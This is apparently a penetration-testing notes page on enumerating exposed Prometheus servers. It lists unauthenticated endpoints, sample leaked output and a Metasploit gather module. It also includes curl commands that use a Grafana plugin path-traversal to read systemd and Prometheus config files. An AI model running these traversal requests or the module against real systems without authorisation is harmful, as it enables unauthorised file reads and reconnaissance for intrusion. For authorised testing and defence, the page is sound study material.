> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/recon-enumeration/pentesting-prometheus.md).

# Pentesting Prometheus

Prometheus commonly exposes HTTP on TCP/9090. If unauthenticated, it can leak version, runtime flags, scrape targets, config paths, and debug endpoints.

## Discovery

Nmap/WhatWeb indicators:

```
9090/tcp open  http  Golang net/http server
| http-title: Prometheus Time Series Collection and Processing Server
|_Requested resource was /graph
```

```
http://TARGET:9090/graph
Title[Prometheus Time Series Collection and Processing Server]
```

## Useful Endpoints

Version and runtime details:

```
http://TARGET:9090/status
```

Observed useful values:

```
Working directory: /
Configuration reload: Successful
Storage retention: 15d
version: 2.32.1
buildUser: root@54b6dbd48b97
goVersion: go1.17.5
```

Targets:

```
http://TARGET:9090/api/v1/targets
```

Observed target output:

```json
{
  "job": "prometheus",
  "scrapeUrl": "http://localhost:9090/metrics",
  "globalUrl": "http://HOSTNAME:9090/metrics",
  "health": "up"
}
```

Metrics and flags:

```
http://TARGET:9090/metrics
http://TARGET:9090/flags
```

Debug endpoints:

```
http://TARGET:9090/debug/pprof/
```

## Config File Locations

If you have file read through another service, check the systemd service first to find Prometheus paths:

```bash
curl --path-as-is "http://GRAFANA:3000/public/plugins/piechart/../../../../../../../../../../../../etc/systemd/system/prometheus.service"
```

Observed service:

```ini
[Unit]
Description=Prometheus
Wants=network-online.target
After=network-online.target

[Service]
User=prometheus
Group=prometheus
Type=simple
ExecStart=/usr/local/bin/prometheus     --config.file /etc/prometheus/prometheus.yml     --storage.tsdb.path /var/lib/prometheus/     --web.console.templates=/etc/prometheus/consoles     --web.console.libraries=/etc/prometheus/console_libraries

[Install]
WantedBy=multi-user.target
```

Then read the config:

```bash
curl --path-as-is "http://GRAFANA:3000/public/plugins/piechart/../../../../../../../../../../../../etc/prometheus/prometheus.yml"
```

Useful paths from that service:

```
/etc/systemd/system/prometheus.service
/etc/prometheus/prometheus.yml
/var/lib/prometheus/
/etc/prometheus/consoles
/etc/prometheus/console_libraries
```

## Metasploit Gather

Metasploit can dump Prometheus config and target data:

```
use auxiliary/gather/prometheus_api_gather
set RHOSTS TARGET
set RPORT 9090
set VHOST HOSTNAME
run
```

Useful output:

```
[+] Prometheus found, version: 2.32.1
[+] YAML config saved to ...
[+] JSON targets saved to ...
[+] Config file: /etc/prometheus/prometheus.yml
[+] TARGET:9090/debug/pprof/ found, potential DoS and information disclosure.
```

Example leaked config:

```yaml
global:
  scrape_interval: 10s
  scrape_timeout: 10s
  evaluation_interval: 1m
scrape_configs:
- job_name: prometheus
  scrape_interval: 5s
  scrape_timeout: 5s
  metrics_path: /metrics
  scheme: http
  static_configs:
  - targets:
    - localhost:9090
```